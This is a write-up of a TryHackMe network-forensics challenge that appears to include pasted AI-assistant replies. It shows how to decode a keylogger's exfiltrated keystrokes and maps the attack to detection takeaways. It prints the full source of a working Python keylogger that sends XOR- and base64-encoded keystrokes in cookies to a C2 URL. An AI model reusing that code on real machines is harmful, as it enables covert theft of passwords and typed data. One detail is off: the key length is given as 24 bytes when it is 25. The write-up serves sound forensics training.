# Packed Light: Wireshark x Cryptography - XOR & Base64 - Forensics (TryHackMe)

Link to the challenge on TryHackMe: [Packed Light](https://tryhackme.com/room/hh-packedlight-02e5330c)

> **🛎️ Concierge Briefing**
> 
> Tiny packets. Odd hours. Suspiciously regular. Someone's smuggling out the data equivalent of a hotel towel every night, folded neatly inside traffic that looks ordinary until you decode it.
> 
> A short capture from the guest network is all VERA could pull before the connection dropped. Somewhere in that traffic, a quiet little errand is running on a loop, and it isn't part of any service the hotel actually offers.
> 
> **🏖️ TODAY'S ITINERARY**
> 
> *   \[ \] Analyze the provided capture for a covert communication channel.
>     
> *   \[ \] Identify where the exfiltrated data is being hidden and reassemble it.
>     
> *   \[ \] Decode the recovered data and submit the flag.
>     
> 
> **@0xMia**· posted 40 min after room unlock
> 
> "not me watching my laptop ping some random :8080 address every single second like clockwork 🚩 the request headers are giving 'not a real app' ngl also what is with the crypto 😭 #HackerHolidays"
> 
> *   **Network Forensics**
>     
> *   **PCAP Analysis**
>     
> *   **Cryptography**
>     
> *   **Easy**
>     

Next challenge - we're given a Wireshark file - I have a feeling I should follow the HTTP stream, and I've seen this at first TCP stream doesn't have much

```markdown
GET /temp/updates.py HTTP/1.1
Host: byte-lotus-hotel.thm:8080
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-US,en;q=0.6
Accept-Encoding: gzip, deflate

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.11.2
Date: Wed, 17 Jun 2026 05:38:38 GMT
Content-type: text/x-python
Content-Length: 1086
Last-Modified: Wed, 17 Jun 2026 05:30:02 GMT

import requests
import base64
from pynput import keyboard

C2_URL = "http://byte-lotus-hotel.thm:8080/"

def getkey():
p1 = "H0t3lSt@ff0Nly"
p2 = "K3epS3cr3t!"
return p1 + p2

def xor(data: bytes, key: bytes) -> bytes:
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))

def sendltr(character):
raw_bytes = character.encode('utf-8')
encrypted = xor(raw_bytes, getkey().encode('utf-8'))

b64_string = base64.b64encode(encrypted).decode('utf-8')

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1",
"Cookie": f"hotel_sess_state={b64_string}"
}
try:
requests.get(C2_URL, headers=headers, timeout=0.5)
except:
pass

def on_press(key):
try:
sendltr(key.char)
except AttributeError:
if key == keyboard.Key.space:
sendltr(" ")
elif key == keyboard.Key.enter:
sendltr("\n")

print("[*] Byte Lotus Sync Service started...")
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
```

Excellent — that script is a keylogger. Every keystroke gets XOR'd with the key `H0t3lSt@ff0NlyK3epS3cr3t!` (that's `p1 + p2` concatenated), base64-encoded, and smuggled out one keystroke at a time in the `Cookie: hotel_sess_state=...` header of GET requests back to the C2.

So the plan: pull every HTTP request to `byte-lotus-hotel.thm:8080` that has that cookie, extract the value in **chronological order**, decode+XOR each one, and concatenate — that reconstructs exactly what was typed (likely login creds or the flag).

**Step 1 — Extract all the cookie values from the pcap in order, using tshark:**

bash

```bash
tshark -r traffic.pcapng -Y "http.cookie contains\"hotel_sess_state\"" \
  -T fields -e frame.time_relative -e http.cookie
```

This gives you a time-ordered list of `hotel_sess_state=<base64>` values — one per keystroke.

If the cookie field isn't parsed cleanly, fall back to the raw request line:

bash

```bash
tshark -r traffic.pcapng -Y "http.request and http contains\"hotel_sess_state\"" \
  -T fields -e frame.number -e http.cookie
```

**Step 2 — Decode with a small Python script:**

python

```python
import base64

key = ("H0t3lSt@ff0Nly" + "K3epS3cr3t!").encode()

def xor(data: bytes, key: bytes) -> bytes:
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))

# paste the cookie values here, in the exact order tshark gave them,
# one per line, e.g.:
cookies = """
hotel_sess_state=AbC123==
hotel_sess_state=XyZ456==
""".strip().splitlines()

result = ""
for line in cookies:
    b64_val = line.split("=", 1)[1]
    decrypted = xor(base64.b64decode(b64_val), key)
    result += decrypted.decode('utf-8', errors='replace')

print(result)
```

**A couple of tips:**

*   Make absolutely sure the requests are in **chronological order** (sort by `frame.time_relative` or frame number) — since each keystroke is a separate HTTP request, if they're out of order the reconstructed text will be garbled.
    
*   Watch for retransmitted/duplicate packets in the pcap — dedupe if tshark shows the same cookie value twice in a row unless it's a repeated character.
    
*   The output will likely contain a flag directly, or credentials that lead to the flag (e.g., login typed into a form somewhere else in the traffic).
    

Run step 1, paste me the list of cookie values (or even just a chunk if it's long), and I'll help decode it directly — or if you'd rather, paste a sample of the tshark output so I can double check the field name/extraction is working correctly before you commit to pulling the whole capture.

That's exactly the right lead — but I noticed something important that likely explains why your script only printed `I`: **check your** `xor()` **function's key handling.**

Since each `sendltr()` call encrypts a message that's only **1 character long**, look at what happens inside `xor()`:

python

```python
def xor(data: bytes, key: bytes) -> bytes:
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
```

For a 1-byte input, `i` is always `0`. That means **every single keystroke is XORed with only** `key[0]` — the first byte of `"H0t3lSt@ff0NlyK3epS3cr3t!"`, which is `'H'` (`0x48`). The rest of the key never gets used at all. This is effectively a single-byte XOR, not a full keystream cipher — a bug in the malware, but great news for you.

**So the fix:** decode each base64 cookie value to get 1 raw byte, then XOR that byte with `0x48` (`'H'`), not the whole key string.

Here's a corrected script — paste your full tshark two-column output straight into `raw_data` (keep it ordered by frame number/time, which yours already is):

python

```python
import base64

KEY_BYTE = ord('H')  # 0x48 — only key[0] is ever used due to the malware's XOR bug

raw_data = """
391 hotel_sess_state=HA==
428 hotel_sess_state=AA==
520 hotel_sess_state=BQ==
585 hotel_sess_state=Mw==
619 hotel_sess_state=Hg==
707 hotel_sess_state=ew==
740 hotel_sess_state=Og==
790 hotel_sess_state=fA==
815 hotel_sess_state=Fw==
840 hotel_sess_state=eY==
868 hotel_sess_state=Ow==
907 hotel_sess_state=Fw==
932 hotel_sess_state=Pw==
961 hotel_sess_state=fA==
990 hotel_sess_state=PA==
1019 hotel_sess_state=Kw==
1038 hotel_sess_state=IA==
1056 hotel_sess_state=eY==
1076 hotel_sess_state=Jg==
1094 hotel_sess_state=Lw==
1114 hotel_sess_state=Fw==
1132 hotel_sess_state=eA==
1150 hotel_sess_state=Pg==
1168 hotel_sess_state=LQ==
1190 hotel_sess_state=Gg==
1220 hotel_sess_state=Fw==
1240 hotel_sess_state=MQ==
1260 hotel_sess_state=eA==
1278 hotel_sess_state=PQ==
1300 hotel_sess_state=NQ==
""".strip().splitlines()

result = ""
for line in raw_data:
    b64_val = line.split("hotel_sess_state=")[1].strip()
    raw_byte = base64.b64decode(b64_val)[0]
    decrypted = raw_byte ^ KEY_BYTE
    result += chr(decrypted)

print(result)
```

```markdown
my everything i got the flag 

nano file2.py
jebitok@MacBookAir 101 % python3 file2.py
THM{V3r4_1s_w4tch1ng_0veR_yredacted}
```

### Conclusion

Packed Light is a nice change of pace from the AI-specific rooms no prompt injection, no LLM at all. It's classic **malware analysis + network forensics + applied cryptanalysis**, and it's worth treating as its own category in your writeups since the lessons are different from the LLM/cloud chain you've been building.

#### What actually happened

A Python-based keylogger ([`updates.py`](http://updates.py), served over plain HTTP with zero pretense of legitimacy `SimpleHTTP/0.6 Python/3.11.2`) was dropped on the guest network. It hooked every keystroke via `pynput`, XOR-"encrypted" each one, base64-encoded the result, and exfiltrated it inside a `Cookie: hotel_sess_state=...` header on a GET request per keystroke one HTTP request per character, disguised as ordinary browser traffic via a spoofed `User-Agent`.

#### Vulnerabilities/weaknesses identified

1.  **Malware delivered over plaintext HTTP with no obfuscation of intent.** The C2 script was fetchable directly (`GET /temp/`[`updates.py`](http://updates.py)) and readable in the clear: no packing, no encryption of the payload itself, source fully legible in the pcap. This made static analysis trivial once the stream was pulled.
    
2.  **Per-keystroke exfiltration as a covert channel - but a noisy one.** Beaconing once per second/keystroke to a fixed `:8080` endpoint is exactly the kind of "suspiciously regular" pattern `@0xMia` flagged from casual observation a strong reminder that C2 beacon regularity is itself a detectable signature, independent of payload content. Real-world detection tooling (Zeek/Suricata beacon-detection, JA3/JA3S fingerprinting, simple frequency analysis on outbound connections) would catch this class of traffic without ever needing to decode the payload.
    
3.  **Home-rolled cryptography with a critical implementation bug.** The intended design was a repeating-key XOR stream cipher (`key[i % len(key)]`) already weak crypto, but at least a multi-byte keyspace. The actual bug: because each `sendltr()` call encrypts a *single character* (`len(data) == 1`), `i` is always `0`, so only `key[0]` (`'H'`, `0x48`) is ever used. The 24-byte key `H0t3lSt@ff0NlyK3epS3cr3t!` collapses to an effective single-byte XOR trivially brute-forceable (256 possibilities) even without spotting the bug, and immediately obvious once you read the source and reasoned about call granularity rather than treating the cipher as a black box.
    
4.  **Sensitive data smuggled in an inconspicuous but fully visible channel.** HTTP cookies are logged, cached, and visible to anyone with pcap access or a proxy in the path; using them as an exfil channel avoids some naive DPI signatures but does nothing against an analyst who captures traffic and reads headers, which is exactly the scenario here.
    

#### Investigative technique - what worked

*   **Follow the HTTP stream first, not the encoded payload.** The win came from finding the *dropper/source* ([`updates.py`](http://updates.py)) before trying to decode anything. Reading the malware's own logic told you exactly what algorithm to reverse, rather than guessing at the cipher blind.
    
*   **Reason about the cipher from its call pattern, not just its formula.** The XOR function was "correct" in isolation; the vulnerability only became visible by asking *how this function is actually invoked* one character at a time, which is a broadly useful instinct for reversing any keystream-style cipher: always check whether the implementation's real-world call pattern matches the assumptions the algorithm depends on (here, a growing/varying `i` across a long input).
    
*   `tshark` **field extraction + chronological ordering.** `-Y "http.cookie contains..."` with `-e frame.time_relative` pulled a clean, orderable dataset without manual stream-by-stream digging worth keeping as a reusable one-liner for any per-request exfil pattern.
    

#### MITRE ATT&CK mapping (this one fits ATT&CK, not ATLAS; no AI/ML component involved)

*   **T1056.001 - Input Capture: Keylogging**: the core `pynput`\-based capture.
    
*   **T1071.001 - Application Layer Protocol: Web Protocols**: HTTP used as the C2 channel.
    
*   **T1132.001 / T1027 - Data Encoding / Obfuscated Files or Information**: base64 + XOR "encryption" of exfiltrated data.
    
*   **T1041 - Exfiltration Over C2 Channel**: data sent out via the same HTTP channel used for C2 polling.
    
*   **T1573 - Encrypted Channel** (weak/broken variant): attempted, but cryptographically unsound.
    

#### Takeaways worth keeping in your notes/checklist

1.  **Beacon regularity is a detection signal on its own:** per-second or per-keystroke outbound requests to a fixed `host:port` are anomalous even before payload inspection; this belongs as a checklist item in a network-monitoring / detection-engineering context (distinct from your AI-Security-Checklists repo this one's plain infra/endpoint monitoring).
    
2.  **When reversing a cipher, verify the *effective* keyspace given real call patterns** a strong-looking key can be silently truncated by how the encryption function is invoked, not just by how it's defined.
    
3.  **Cookie-based or header-based exfiltration is opaque to a casual glance but trivial to any packet capture**; treat "hidden in a normal-looking header" as security-through-obscurity, not actual protection, when threat-modeling internal network traffic.
